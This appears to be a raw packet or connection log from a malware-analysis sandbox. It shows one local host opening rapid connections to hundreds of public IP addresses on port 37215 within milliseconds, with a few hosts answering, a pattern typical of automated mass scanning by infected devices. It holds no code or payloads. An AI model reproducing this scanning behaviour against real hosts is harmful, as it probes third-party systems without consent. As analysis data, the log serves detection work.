Aug 1, 2024 15:34:58.052860975 CEST	47767	37215	192.168.2.14	197.216.72.80
Aug 1, 2024 15:34:58.052891970 CEST	55512	37215	192.168.2.14	41.170.96.15
Aug 1, 2024 15:34:58.052894115 CEST	52428	37215	192.168.2.14	197.104.19.50
Aug 1, 2024 15:34:58.052925110 CEST	37944	37215	192.168.2.14	157.130.3.45
Aug 1, 2024 15:34:58.052927971 CEST	45878	37215	192.168.2.14	160.44.142.45
Aug 1, 2024 15:34:58.052946091 CEST	49556	37215	192.168.2.14	157.29.131.245
Aug 1, 2024 15:34:58.052964926 CEST	40284	37215	192.168.2.14	197.197.246.96
Aug 1, 2024 15:34:58.052988052 CEST	51826	37215	192.168.2.14	157.112.241.123
Aug 1, 2024 15:34:58.053014040 CEST	38588	37215	192.168.2.14	157.193.29.198
Aug 1, 2024 15:34:58.053014040 CEST	52058	37215	192.168.2.14	197.67.216.45
Aug 1, 2024 15:34:58.053040028 CEST	48430	37215	192.168.2.14	41.70.98.150
Aug 1, 2024 15:34:58.053055048 CEST	53874	37215	192.168.2.14	157.21.242.107
Aug 1, 2024 15:34:58.053082943 CEST	41148	37215	192.168.2.14	41.168.230.58
Aug 1, 2024 15:34:58.053102970 CEST	53284	37215	192.168.2.14	184.119.116.174
Aug 1, 2024 15:34:58.053119898 CEST	34438	37215	192.168.2.14	59.146.160.181
Aug 1, 2024 15:34:58.053134918 CEST	40232	37215	192.168.2.14	197.52.145.226
Aug 1, 2024 15:34:58.053155899 CEST	40138	37215	192.168.2.14	70.45.88.250
Aug 1, 2024 15:34:58.053173065 CEST	46336	37215	192.168.2.14	197.241.187.121
Aug 1, 2024 15:34:58.053205013 CEST	37714	37215	192.168.2.14	197.233.134.99
Aug 1, 2024 15:34:58.053208113 CEST	49846	37215	192.168.2.14	157.234.233.14
Aug 1, 2024 15:34:58.053222895 CEST	53872	37215	192.168.2.14	41.150.3.88
Aug 1, 2024 15:34:58.053250074 CEST	55942	37215	192.168.2.14	92.176.125.168
Aug 1, 2024 15:34:58.053272009 CEST	41128	37215	192.168.2.14	76.79.65.175
Aug 1, 2024 15:34:58.053283930 CEST	51796	37215	192.168.2.14	157.67.94.230
Aug 1, 2024 15:34:58.053303957 CEST	57102	37215	192.168.2.14	83.124.132.190
Aug 1, 2024 15:34:58.053320885 CEST	37286	37215	192.168.2.14	197.220.34.9
Aug 1, 2024 15:34:58.053371906 CEST	58496	37215	192.168.2.14	197.38.139.56
Aug 1, 2024 15:34:58.053371906 CEST	45084	37215	192.168.2.14	157.185.146.40
Aug 1, 2024 15:34:58.053390026 CEST	37520	37215	192.168.2.14	157.46.42.17
Aug 1, 2024 15:34:58.053402901 CEST	34030	37215	192.168.2.14	197.74.128.205
Aug 1, 2024 15:34:58.053402901 CEST	60706	37215	192.168.2.14	157.175.27.16
Aug 1, 2024 15:34:58.053428888 CEST	37215	46612	157.130.88.220	192.168.2.14
Aug 1, 2024 15:34:58.053452969 CEST	41812	37215	192.168.2.14	208.67.56.114
Aug 1, 2024 15:34:58.053452969 CEST	44610	37215	192.168.2.14	9.50.79.142
Aug 1, 2024 15:34:58.053464890 CEST	60664	37215	192.168.2.14	197.200.154.27
Aug 1, 2024 15:34:58.053469896 CEST	46612	37215	192.168.2.14	157.130.88.220
Aug 1, 2024 15:34:58.053481102 CEST	57054	37215	192.168.2.14	197.173.88.168
Aug 1, 2024 15:34:58.053503990 CEST	44190	37215	192.168.2.14	157.154.221.57
Aug 1, 2024 15:34:58.053524971 CEST	43000	37215	192.168.2.14	14.190.104.245
Aug 1, 2024 15:34:58.053543091 CEST	33316	37215	192.168.2.14	197.252.210.245
Aug 1, 2024 15:34:58.053565025 CEST	37516	37215	192.168.2.14	197.226.46.21
Aug 1, 2024 15:34:58.053601980 CEST	36202	37215	192.168.2.14	187.160.51.75
Aug 1, 2024 15:34:58.053616047 CEST	35140	37215	192.168.2.14	197.150.90.60
Aug 1, 2024 15:34:58.053634882 CEST	44636	37215	192.168.2.14	197.196.40.133
Aug 1, 2024 15:34:58.053639889 CEST	33634	37215	192.168.2.14	41.136.78.84
Aug 1, 2024 15:34:58.053658962 CEST	35776	37215	192.168.2.14	197.71.56.244
Aug 1, 2024 15:34:58.053669930 CEST	35098	37215	192.168.2.14	41.7.253.92
Aug 1, 2024 15:34:58.053694963 CEST	34606	37215	192.168.2.14	148.245.147.90
Aug 1, 2024 15:34:58.053729057 CEST	44072	37215	192.168.2.14	197.133.207.105
Aug 1, 2024 15:34:58.053741932 CEST	39296	37215	192.168.2.14	63.182.26.190
Aug 1, 2024 15:34:58.053744078 CEST	38384	37215	192.168.2.14	41.86.147.45
Aug 1, 2024 15:34:58.053766966 CEST	50350	37215	192.168.2.14	130.47.155.129
Aug 1, 2024 15:34:58.053780079 CEST	48714	37215	192.168.2.14	197.176.24.104
Aug 1, 2024 15:34:58.053806067 CEST	44882	37215	192.168.2.14	197.18.236.36
Aug 1, 2024 15:34:58.053822041 CEST	45612	37215	192.168.2.14	41.2.22.184
Aug 1, 2024 15:34:58.053837061 CEST	47452	37215	192.168.2.14	157.19.219.96
Aug 1, 2024 15:34:58.053857088 CEST	52708	37215	192.168.2.14	41.117.191.144
Aug 1, 2024 15:34:58.053870916 CEST	54534	37215	192.168.2.14	151.198.130.124
Aug 1, 2024 15:34:58.053895950 CEST	57850	37215	192.168.2.14	172.128.243.228
Aug 1, 2024 15:34:58.053913116 CEST	43212	37215	192.168.2.14	157.182.228.215
Aug 1, 2024 15:34:58.053931952 CEST	37618	37215	192.168.2.14	157.194.129.160
Aug 1, 2024 15:34:58.053961992 CEST	37652	37215	192.168.2.14	197.141.27.118
Aug 1, 2024 15:34:58.053961992 CEST	33542	37215	192.168.2.14	111.219.90.142
Aug 1, 2024 15:34:58.053983927 CEST	58824	37215	192.168.2.14	17.213.200.107
Aug 1, 2024 15:34:58.053997993 CEST	49456	37215	192.168.2.14	41.125.82.183
Aug 1, 2024 15:34:58.054018974 CEST	41916	37215	192.168.2.14	197.104.130.27
Aug 1, 2024 15:34:58.054039955 CEST	44448	37215	192.168.2.14	119.90.131.53
Aug 1, 2024 15:34:58.054075003 CEST	54842	37215	192.168.2.14	197.153.149.210
Aug 1, 2024 15:34:58.054075956 CEST	52318	37215	192.168.2.14	197.152.239.61
Aug 1, 2024 15:34:58.054091930 CEST	46018	37215	192.168.2.14	157.108.69.147
Aug 1, 2024 15:34:58.054114103 CEST	41962	37215	192.168.2.14	197.177.166.85
Aug 1, 2024 15:34:58.054132938 CEST	33870	37215	192.168.2.14	197.141.234.224
Aug 1, 2024 15:34:58.054147005 CEST	37215	55838	166.129.216.186	192.168.2.14
Aug 1, 2024 15:34:58.054151058 CEST	60292	37215	192.168.2.14	41.12.104.26
Aug 1, 2024 15:34:58.054162979 CEST	44026	37215	192.168.2.14	157.101.184.107
Aug 1, 2024 15:34:58.054192066 CEST	55838	37215	192.168.2.14	166.129.216.186
Aug 1, 2024 15:34:58.054208040 CEST	33234	37215	192.168.2.14	160.149.238.205
Aug 1, 2024 15:34:58.054208040 CEST	33192	37215	192.168.2.14	41.135.240.219
Aug 1, 2024 15:34:58.054229975 CEST	33632	37215	192.168.2.14	41.12.240.236
Aug 1, 2024 15:34:58.054248095 CEST	60948	37215	192.168.2.14	41.18.157.111
Aug 1, 2024 15:34:58.054261923 CEST	49726	37215	192.168.2.14	197.86.199.8
Aug 1, 2024 15:34:58.054291010 CEST	55144	37215	192.168.2.14	157.179.229.76
Aug 1, 2024 15:34:58.054311037 CEST	34792	37215	192.168.2.14	41.171.17.204
Aug 1, 2024 15:34:58.054343939 CEST	36160	37215	192.168.2.14	157.74.188.160
Aug 1, 2024 15:34:58.054358006 CEST	49448	37215	192.168.2.14	197.58.206.143
Aug 1, 2024 15:34:58.054399014 CEST	36062	37215	192.168.2.14	41.117.23.22
Aug 1, 2024 15:34:58.054399014 CEST	46388	37215	192.168.2.14	157.158.84.141
Aug 1, 2024 15:34:58.054414988 CEST	35788	37215	192.168.2.14	197.137.205.208
Aug 1, 2024 15:34:58.054440022 CEST	54156	37215	192.168.2.14	163.42.224.94
Aug 1, 2024 15:34:58.054450989 CEST	39214	37215	192.168.2.14	197.191.74.75
Aug 1, 2024 15:34:58.054471016 CEST	43462	37215	192.168.2.14	197.92.56.154
Aug 1, 2024 15:34:58.054488897 CEST	35982	37215	192.168.2.14	41.46.147.104
Aug 1, 2024 15:34:58.054510117 CEST	58702	37215	192.168.2.14	41.23.136.70
Aug 1, 2024 15:34:58.054531097 CEST	39564	37215	192.168.2.14	41.241.93.77
Aug 1, 2024 15:34:58.054560900 CEST	38286	37215	192.168.2.14	41.225.137.7
Aug 1, 2024 15:34:58.054589987 CEST	34514	37215	192.168.2.14	157.59.133.168
Aug 1, 2024 15:34:58.054593086 CEST	35068	37215	192.168.2.14	197.44.123.150
Aug 1, 2024 15:34:58.054608107 CEST	34330	37215	192.168.2.14	197.69.76.72
Aug 1, 2024 15:34:58.054620028 CEST	37215	58360	44.107.91.32	192.168.2.14
Aug 1, 2024 15:34:58.054627895 CEST	33348	37215	192.168.2.14	197.73.155.152
Aug 1, 2024 15:34:58.054631948 CEST	37215	38508	157.138.68.130	192.168.2.14
Aug 1, 2024 15:34:58.054663897 CEST	46206	37215	192.168.2.14	41.126.121.67
Aug 1, 2024 15:34:58.054680109 CEST	59778	37215	192.168.2.14	157.66.58.1
Aug 1, 2024 15:34:58.054701090 CEST	50872	37215	192.168.2.14	41.124.168.112
Aug 1, 2024 15:34:58.054713964 CEST	57040	37215	192.168.2.14	41.139.143.29
Aug 1, 2024 15:34:58.054723978 CEST	37215	37124	8.77.197.97	192.168.2.14
Aug 1, 2024 15:34:58.054728985 CEST	51530	37215	192.168.2.14	54.13.239.184
Aug 1, 2024 15:34:58.054739952 CEST	49210	37215	192.168.2.14	186.22.144.161
Aug 1, 2024 15:34:58.054761887 CEST	37215	42980	135.126.90.169	192.168.2.14
Aug 1, 2024 15:34:58.054778099 CEST	49734	37215	192.168.2.14	41.149.139.9
Aug 1, 2024 15:34:58.054797888 CEST	46126	37215	192.168.2.14	157.196.129.192
Aug 1, 2024 15:34:58.054801941 CEST	34712	37215	192.168.2.14	157.57.103.130
Aug 1, 2024 15:34:58.054810047 CEST	42132	37215	192.168.2.14	210.71.47.173
Aug 1, 2024 15:34:58.054827929 CEST	46614	37215	192.168.2.14	221.120.194.104
Aug 1, 2024 15:34:58.054847002 CEST	37258	37215	192.168.2.14	102.39.195.141
Aug 1, 2024 15:34:58.054883003 CEST	56218	37215	192.168.2.14	190.251.100.176
Aug 1, 2024 15:34:58.054889917 CEST	35898	37215	192.168.2.14	32.132.7.31
Aug 1, 2024 15:34:58.054894924 CEST	59662	37215	192.168.2.14	41.73.44.185
Aug 1, 2024 15:34:58.054913044 CEST	42394	37215	192.168.2.14	41.6.79.92
Aug 1, 2024 15:34:58.054929972 CEST	54836	37215	192.168.2.14	41.54.8.114
Aug 1, 2024 15:34:58.054943085 CEST	50504	37215	192.168.2.14	197.196.206.55
Aug 1, 2024 15:34:58.054961920 CEST	51976	37215	192.168.2.14	194.193.18.127
Aug 1, 2024 15:34:58.054970980 CEST	52660	37215	192.168.2.14	41.29.127.52
Aug 1, 2024 15:34:58.055001974 CEST	43542	37215	192.168.2.14	197.237.2.174
Aug 1, 2024 15:34:58.055016041 CEST	58360	37215	192.168.2.14	44.107.91.32
Aug 1, 2024 15:34:58.055021048 CEST	38508	37215	192.168.2.14	157.138.68.130
Aug 1, 2024 15:34:58.055042982 CEST	42980	37215	192.168.2.14	135.126.90.169
Aug 1, 2024 15:34:58.055053949 CEST	37124	37215	192.168.2.14	8.77.197.97
Aug 1, 2024 15:34:58.055099010 CEST	37294	37215	192.168.2.14	193.62.208.172
Aug 1, 2024 15:34:58.055104971 CEST	44990	37215	192.168.2.14	58.206.132.145
Aug 1, 2024 15:34:58.055408955 CEST	39006	37215	192.168.2.14	157.202.20.92
Aug 1, 2024 15:34:58.056106091 CEST	43474	37215	192.168.2.14	41.98.222.243
Aug 1, 2024 15:34:58.056221008 CEST	37215	47767	41.125.175.119	192.168.2.14
Aug 1, 2024 15:34:58.056265116 CEST	37215	47767	169.58.213.52	192.168.2.14
Aug 1, 2024 15:34:58.056276083 CEST	37215	47767	157.121.215.142	192.168.2.14
Aug 1, 2024 15:34:58.056279898 CEST	47767	37215	192.168.2.14	41.125.175.119
Aug 1, 2024 15:34:58.056314945 CEST	47767	37215	192.168.2.14	157.121.215.142
Aug 1, 2024 15:34:58.056315899 CEST	47767	37215	192.168.2.14	169.58.213.52
Aug 1, 2024 15:34:58.056323051 CEST	37215	47767	41.52.215.85	192.168.2.14
Aug 1, 2024 15:34:58.056334019 CEST	37215	47767	82.116.139.160	192.168.2.14
Aug 1, 2024 15:34:58.056354046 CEST	37215	47767	197.88.245.59	192.168.2.14
Aug 1, 2024 15:34:58.056365967 CEST	37215	47767	41.64.157.89	192.168.2.14
Aug 1, 2024 15:34:58.056370974 CEST	47767	37215	192.168.2.14	41.52.215.85
Aug 1, 2024 15:34:58.056379080 CEST	47767	37215	192.168.2.14	82.116.139.160
Aug 1, 2024 15:34:58.056401968 CEST	47767	37215	192.168.2.14	41.64.157.89
Aug 1, 2024 15:34:58.056410074 CEST	37215	47767	157.52.39.90	192.168.2.14
Aug 1, 2024 15:34:58.056411028 CEST	47767	37215	192.168.2.14	197.88.245.59
Aug 1, 2024 15:34:58.056421041 CEST	37215	47767	157.196.70.246	192.168.2.14
Aug 1, 2024 15:34:58.056432962 CEST	37215	47767	197.57.88.125	192.168.2.14
Aug 1, 2024 15:34:58.056446075 CEST	37215	47767	197.82.36.239	192.168.2.14
Aug 1, 2024 15:34:58.056456089 CEST	47767	37215	192.168.2.14	157.52.39.90
Aug 1, 2024 15:34:58.056462049 CEST	37215	47767	41.91.123.73	192.168.2.14
Aug 1, 2024 15:34:58.056466103 CEST	47767	37215	192.168.2.14	157.196.70.246
Aug 1, 2024 15:34:58.056466103 CEST	47767	37215	192.168.2.14	197.57.88.125
Aug 1, 2024 15:34:58.056473017 CEST	37215	47767	44.185.0.157	192.168.2.14
Aug 1, 2024 15:34:58.056478977 CEST	47767	37215	192.168.2.14	197.82.36.239
Aug 1, 2024 15:34:58.056492090 CEST	37215	47767	41.28.20.27	192.168.2.14
Aug 1, 2024 15:34:58.056499958 CEST	47767	37215	192.168.2.14	41.91.123.73
Aug 1, 2024 15:34:58.056500912 CEST	47767	37215	192.168.2.14	44.185.0.157
Aug 1, 2024 15:34:58.056504011 CEST	37215	47767	107.149.239.1	192.168.2.14
Aug 1, 2024 15:34:58.056524038 CEST	37215	47767	41.4.254.184	192.168.2.14
Aug 1, 2024 15:34:58.056529045 CEST	47767	37215	192.168.2.14	41.28.20.27
Aug 1, 2024 15:34:58.056535006 CEST	37215	47767	157.55.116.173	192.168.2.14
Aug 1, 2024 15:34:58.056536913 CEST	47767	37215	192.168.2.14	107.149.239.1
Aug 1, 2024 15:34:58.056546926 CEST	37215	47767	197.215.49.120	192.168.2.14
Aug 1, 2024 15:34:58.056556940 CEST	37215	47767	41.185.152.245	192.168.2.14
Aug 1, 2024 15:34:58.056560993 CEST	47767	37215	192.168.2.14	41.4.254.184
Aug 1, 2024 15:34:58.056567907 CEST	37215	47767	41.70.247.100	192.168.2.14
Aug 1, 2024 15:34:58.056569099 CEST	47767	37215	192.168.2.14	157.55.116.173
Aug 1, 2024 15:34:58.056580067 CEST	37215	47767	157.17.1.228	192.168.2.14
Aug 1, 2024 15:34:58.056591034 CEST	47767	37215	192.168.2.14	41.185.152.245
Aug 1, 2024 15:34:58.056591034 CEST	47767	37215	192.168.2.14	197.215.49.120
Aug 1, 2024 15:34:58.056601048 CEST	37215	47767	41.113.216.82	192.168.2.14
Aug 1, 2024 15:34:58.056612015 CEST	37215	47767	19.145.5.222	192.168.2.14
Aug 1, 2024 15:34:58.056616068 CEST	47767	37215	192.168.2.14	41.70.247.100
Aug 1, 2024 15:34:58.056617022 CEST	47767	37215	192.168.2.14	157.17.1.228
Aug 1, 2024 15:34:58.056622028 CEST	37215	47767	41.253.207.136	192.168.2.14
Aug 1, 2024 15:34:58.056632996 CEST	37215	47767	203.94.61.115	192.168.2.14
Aug 1, 2024 15:34:58.056637049 CEST	47767	37215	192.168.2.14	41.113.216.82
Aug 1, 2024 15:34:58.056642056 CEST	47767	37215	192.168.2.14	19.145.5.222
Aug 1, 2024 15:34:58.056643009 CEST	37215	47767	68.0.81.20	192.168.2.14
Aug 1, 2024 15:34:58.056653976 CEST	37215	47767	66.156.73.237	192.168.2.14
Aug 1, 2024 15:34:58.056654930 CEST	47767	37215	192.168.2.14	41.253.207.136
Aug 1, 2024 15:34:58.056662083 CEST	47767	37215	192.168.2.14	203.94.61.115
Aug 1, 2024 15:34:58.056690931 CEST	47767	37215	192.168.2.14	66.156.73.237
Aug 1, 2024 15:34:58.056694984 CEST	47767	37215	192.168.2.14	68.0.81.20
Aug 1, 2024 15:34:58.056962013 CEST	59092	37215	192.168.2.14	41.125.175.119
Aug 1, 2024 15:34:58.057550907 CEST	37215	47767	197.224.129.118	192.168.2.14
Aug 1, 2024 15:34:58.057584047 CEST	37215	47767	157.106.54.160	192.168.2.14
Aug 1, 2024 15:34:58.057593107 CEST	47767	37215	192.168.2.14	197.224.129.118
Aug 1, 2024 15:34:58.057595015 CEST	37215	47767	41.157.106.162	192.168.2.14
Aug 1, 2024 15:34:58.057612896 CEST	47767	37215	192.168.2.14	157.106.54.160
Aug 1, 2024 15:34:58.057632923 CEST	37215	47767	197.255.40.203	192.168.2.14
Aug 1, 2024 15:34:58.057636976 CEST	47767	37215	192.168.2.14	41.157.106.162
Aug 1, 2024 15:34:58.057640076 CEST	52746	37215	192.168.2.14	169.58.213.52
Aug 1, 2024 15:34:58.057643890 CEST	37215	47767	197.113.81.148	192.168.2.14
Aug 1, 2024 15:34:58.057672977 CEST	47767	37215	192.168.2.14	197.255.40.203
Aug 1, 2024 15:34:58.057682037 CEST	47767	37215	192.168.2.14	197.113.81.148
Aug 1, 2024 15:34:58.057790995 CEST	37215	47767	157.181.223.139	192.168.2.14
Aug 1, 2024 15:34:58.057816029 CEST	37215	47767	98.82.168.244	192.168.2.14
Aug 1, 2024 15:34:58.057823896 CEST	47767	37215	192.168.2.14	157.181.223.139
Aug 1, 2024 15:34:58.057826996 CEST	37215	47767	197.83.25.177	192.168.2.14
Aug 1, 2024 15:34:58.057837963 CEST	37215	47767	44.77.58.180	192.168.2.14
Aug 1, 2024 15:34:58.057848930 CEST	37215	47767	41.2.62.147	192.168.2.14
Aug 1, 2024 15:34:58.057857037 CEST	47767	37215	192.168.2.14	98.82.168.244
Aug 1, 2024 15:34:58.057862997 CEST	37215	47767	157.91.246.246	192.168.2.14
Aug 1, 2024 15:34:58.057866096 CEST	47767	37215	192.168.2.14	44.77.58.180
Aug 1, 2024 15:34:58.057873011 CEST	47767	37215	192.168.2.14	197.83.25.177
Aug 1, 2024 15:34:58.057873964 CEST	37215	47767	157.90.89.6	192.168.2.14
Aug 1, 2024 15:34:58.057881117 CEST	47767	37215	192.168.2.14	41.2.62.147
Aug 1, 2024 15:34:58.057885885 CEST	37215	47767	197.127.165.110	192.168.2.14
Aug 1, 2024 15:34:58.057900906 CEST	47767	37215	192.168.2.14	157.91.246.246
Aug 1, 2024 15:34:58.057904005 CEST	37215	47767	41.191.132.216	192.168.2.14
Aug 1, 2024 15:34:58.057914972 CEST	37215	47767	197.121.194.218	192.168.2.14
Aug 1, 2024 15:34:58.057924986 CEST	37215	47767	157.98.134.211	192.168.2.14
Aug 1, 2024 15:34:58.057929039 CEST	37215	47767	197.160.38.240	192.168.2.14
Aug 1, 2024 15:34:58.057929039 CEST	47767	37215	192.168.2.14	41.191.132.216
Aug 1, 2024 15:34:58.057929039 CEST	47767	37215	192.168.2.14	157.90.89.6
Aug 1, 2024 15:34:58.057931900 CEST	47767	37215	192.168.2.14	197.127.165.110
Aug 1, 2024 15:34:58.057934046 CEST	37215	47767	41.79.224.118	192.168.2.14
Aug 1, 2024 15:34:58.057945013 CEST	37215	47767	118.147.89.129	192.168.2.14
Aug 1, 2024 15:34:58.057955980 CEST	37215	47767	157.239.149.213	192.168.2.14
Aug 1, 2024 15:34:58.057971001 CEST	47767	37215	192.168.2.14	157.98.134.211
Aug 1, 2024 15:34:58.057971954 CEST	47767	37215	192.168.2.14	197.121.194.218
Aug 1, 2024 15:34:58.057980061 CEST	37215	47767	18.233.13.67	192.168.2.14
Aug 1, 2024 15:34:58.057982922 CEST	47767	37215	192.168.2.14	41.79.224.118
Aug 1, 2024 15:34:58.057984114 CEST	47767	37215	192.168.2.14	197.160.38.240
Aug 1, 2024 15:34:58.057991982 CEST	37215	47767	197.205.194.24	192.168.2.14
Aug 1, 2024 15:34:58.058002949 CEST	47767	37215	192.168.2.14	118.147.89.129
Aug 1, 2024 15:34:58.058017969 CEST	47767	37215	192.168.2.14	157.239.149.213
Aug 1, 2024 15:34:58.058017969 CEST	47767	37215	192.168.2.14	18.233.13.67
Aug 1, 2024 15:34:58.058031082 CEST	47767	37215	192.168.2.14	197.205.194.24
Aug 1, 2024 15:34:58.058041096 CEST	55512	37215	192.168.2.14	41.170.96.15
Aug 1, 2024 15:34:58.058053017 CEST	52428	37215	192.168.2.14	197.104.19.50
Aug 1, 2024 15:34:58.058053970 CEST	37215	47767	157.225.205.202	192.168.2.14
Aug 1, 2024 15:34:58.058064938 CEST	37215	47767	197.242.163.116	192.168.2.14
Aug 1, 2024 15:34:58.058067083 CEST	45878	37215	192.168.2.14	160.44.142.45
Aug 1, 2024 15:34:58.058068037 CEST	37944	37215	192.168.2.14	157.130.3.45
Aug 1, 2024 15:34:58.058073997 CEST	49556	37215	192.168.2.14	157.29.131.245
Aug 1, 2024 15:34:58.058077097 CEST	37215	47767	197.107.232.97	192.168.2.14
Aug 1, 2024 15:34:58.058085918 CEST	47767	37215	192.168.2.14	197.242.163.116
Aug 1, 2024 15:34:58.058090925 CEST	40284	37215	192.168.2.14	197.197.246.96
Aug 1, 2024 15:34:58.058090925 CEST	47767	37215	192.168.2.14	157.225.205.202
Aug 1, 2024 15:34:58.058099985 CEST	51826	37215	192.168.2.14	157.112.241.123
Aug 1, 2024 15:34:58.058101892 CEST	37215	47767	41.45.167.141	192.168.2.14
Aug 1, 2024 15:34:58.058106899 CEST	47767	37215	192.168.2.14	197.107.232.97
Aug 1, 2024 15:34:58.058110952 CEST	38588	37215	192.168.2.14	157.193.29.198
Aug 1, 2024 15:34:58.058130026 CEST	52058	37215	192.168.2.14	197.67.216.45
Aug 1, 2024 15:34:58.058132887 CEST	47767	37215	192.168.2.14	41.45.167.141
Aug 1, 2024 15:34:58.058146000 CEST	48430	37215	192.168.2.14	41.70.98.150
Aug 1, 2024 15:34:58.058150053 CEST	53874	37215	192.168.2.14	157.21.242.107
Aug 1, 2024 15:34:58.058176041 CEST	41148	37215	192.168.2.14	41.168.230.58
Aug 1, 2024 15:34:58.058176041 CEST	34438	37215	192.168.2.14	59.146.160.181
Aug 1, 2024 15:34:58.058182001 CEST	37215	47767	157.88.117.172	192.168.2.14
Aug 1, 2024 15:34:58.058182955 CEST	53284	37215	192.168.2.14	184.119.116.174
Aug 1, 2024 15:34:58.058190107 CEST	40232	37215	192.168.2.14	197.52.145.226
Aug 1, 2024 15:34:58.058197975 CEST	37215	47767	41.116.75.57	192.168.2.14
Aug 1, 2024 15:34:58.058198929 CEST	46336	37215	192.168.2.14	197.241.187.121
Aug 1, 2024 15:34:58.058199883 CEST	40138	37215	192.168.2.14	70.45.88.250
Aug 1, 2024 15:34:58.058218956 CEST	47767	37215	192.168.2.14	157.88.117.172
Aug 1, 2024 15:34:58.058233023 CEST	49846	37215	192.168.2.14	157.234.233.14
Aug 1, 2024 15:34:58.058240891 CEST	47767	37215	192.168.2.14	41.116.75.57
Aug 1, 2024 15:34:58.058243990 CEST	55942	37215	192.168.2.14	92.176.125.168
Aug 1, 2024 15:34:58.058243990 CEST	53872	37215	192.168.2.14	41.150.3.88
Aug 1, 2024 15:34:58.058249950 CEST	37714	37215	192.168.2.14	197.233.134.99
Aug 1, 2024 15:34:58.058259010 CEST	41128	37215	192.168.2.14	76.79.65.175
Aug 1, 2024 15:34:58.058264971 CEST	51796	37215	192.168.2.14	157.67.94.230
Aug 1, 2024 15:34:58.058273077 CEST	57102	37215	192.168.2.14	83.124.132.190
Aug 1, 2024 15:34:58.058279991 CEST	34030	37215	192.168.2.14	197.74.128.205
Aug 1, 2024 15:34:58.058280945 CEST	37286	37215	192.168.2.14	197.220.34.9
Aug 1, 2024 15:34:58.058303118 CEST	58496	37215	192.168.2.14	197.38.139.56
Aug 1, 2024 15:34:58.058303118 CEST	45084	37215	192.168.2.14	157.185.146.40
Aug 1, 2024 15:34:58.058310032 CEST	37520	37215	192.168.2.14	157.46.42.17
Aug 1, 2024 15:34:58.058325052 CEST	60706	37215	192.168.2.14	157.175.27.16
Aug 1, 2024 15:34:58.058346033 CEST	41812	37215	192.168.2.14	208.67.56.114
Aug 1, 2024 15:34:58.058346033 CEST	44610	37215	192.168.2.14	9.50.79.142
Aug 1, 2024 15:34:58.058346987 CEST	60664	37215	192.168.2.14	197.200.154.27
Aug 1, 2024 15:34:58.058355093 CEST	57054	37215	192.168.2.14	197.173.88.168
Aug 1, 2024 15:34:58.058362007 CEST	44190	37215	192.168.2.14	157.154.221.57
Aug 1, 2024 15:34:58.058373928 CEST	43000	37215	192.168.2.14	14.190.104.245
Aug 1, 2024 15:34:58.058376074 CEST	33316	37215	192.168.2.14	197.252.210.245
Aug 1, 2024 15:34:58.058387041 CEST	37516	37215	192.168.2.14	197.226.46.21
Aug 1, 2024 15:34:58.058397055 CEST	44636	37215	192.168.2.14	197.196.40.133
Aug 1, 2024 15:34:58.058408022 CEST	36202	37215	192.168.2.14	187.160.51.75
Aug 1, 2024 15:34:58.058408022 CEST	35140	37215	192.168.2.14	197.150.90.60
Aug 1, 2024 15:34:58.058420897 CEST	33634	37215	192.168.2.14	41.136.78.84
Aug 1, 2024 15:34:58.058438063 CEST	35776	37215	192.168.2.14	197.71.56.244
Aug 1, 2024 15:34:58.058438063 CEST	35098	37215	192.168.2.14	41.7.253.92
Aug 1, 2024 15:34:58.058449984 CEST	34606	37215	192.168.2.14	148.245.147.90
Aug 1, 2024 15:34:58.058464050 CEST	38384	37215	192.168.2.14	41.86.147.45
Aug 1, 2024 15:34:58.058465004 CEST	44072	37215	192.168.2.14	197.133.207.105
Aug 1, 2024 15:34:58.058482885 CEST	50350	37215	192.168.2.14	130.47.155.129
Aug 1, 2024 15:34:58.058490992 CEST	39296	37215	192.168.2.14	63.182.26.190
Aug 1, 2024 15:34:58.058501959 CEST	48714	37215	192.168.2.14	197.176.24.104
Aug 1, 2024 15:34:58.058506012 CEST	44882	37215	192.168.2.14	197.18.236.36
Aug 1, 2024 15:34:58.058506966 CEST	45612	37215	192.168.2.14	41.2.22.184
Aug 1, 2024 15:34:58.058517933 CEST	47452	37215	192.168.2.14	157.19.219.96
Aug 1, 2024 15:34:58.058525085 CEST	52708	37215	192.168.2.14	41.117.191.144
Aug 1, 2024 15:34:58.058532953 CEST	54534	37215	192.168.2.14	151.198.130.124
Aug 1, 2024 15:34:58.058542967 CEST	57850	37215	192.168.2.14	172.128.243.228
Aug 1, 2024 15:34:58.058556080 CEST	43212	37215	192.168.2.14	157.182.228.215
Aug 1, 2024 15:34:58.058556080 CEST	37618	37215	192.168.2.14	157.194.129.160
Aug 1, 2024 15:34:58.058579922 CEST	37652	37215	192.168.2.14	197.141.27.118
Aug 1, 2024 15:34:58.058579922 CEST	33542	37215	192.168.2.14	111.219.90.142
Aug 1, 2024 15:34:58.058588982 CEST	58824	37215	192.168.2.14	17.213.200.107
Aug 1, 2024 15:34:58.058592081 CEST	49456	37215	192.168.2.14	41.125.82.183
Aug 1, 2024 15:34:58.058598995 CEST	41916	37215	192.168.2.14	197.104.130.27
Aug 1, 2024 15:34:58.058629036 CEST	52318	37215	192.168.2.14	197.152.239.61
Aug 1, 2024 15:34:58.058634043 CEST	46018	37215	192.168.2.14	157.108.69.147
Aug 1, 2024 15:34:58.058648109 CEST	44448	37215	192.168.2.14	119.90.131.53
Aug 1, 2024 15:34:58.058648109 CEST	41962	37215	192.168.2.14	197.177.166.85
Aug 1, 2024 15:34:58.058657885 CEST	33870	37215	192.168.2.14	197.141.234.224
Aug 1, 2024 15:34:58.058661938 CEST	60292	37215	192.168.2.14	41.12.104.26
Aug 1, 2024 15:34:58.058664083 CEST	44026	37215	192.168.2.14	157.101.184.107
Aug 1, 2024 15:34:58.058686018 CEST	33234	37215	192.168.2.14	160.149.238.205
Aug 1, 2024 15:34:58.058686018 CEST	33192	37215	192.168.2.14	41.135.240.219
Aug 1, 2024 15:34:58.058698893 CEST	33632	37215	192.168.2.14	41.12.240.236
Aug 1, 2024 15:34:58.058706999 CEST	60948	37215	192.168.2.14	41.18.157.111
Aug 1, 2024 15:34:58.058712959 CEST	49726	37215	192.168.2.14	197.86.199.8
Aug 1, 2024 15:34:58.058727026 CEST	55144	37215	192.168.2.14	157.179.229.76
Aug 1, 2024 15:34:58.058734894 CEST	54842	37215	192.168.2.14	197.153.149.210
Aug 1, 2024 15:34:58.058737040 CEST	34792	37215	192.168.2.14	41.171.17.204
Aug 1, 2024 15:34:58.058737040 CEST	36160	37215	192.168.2.14	157.74.188.160
Aug 1, 2024 15:34:58.058748007 CEST	49448	37215	192.168.2.14	197.58.206.143
Aug 1, 2024 15:34:58.058759928 CEST	36062	37215	192.168.2.14	41.117.23.22
Aug 1, 2024 15:34:58.058773994 CEST	46388	37215	192.168.2.14	157.158.84.141
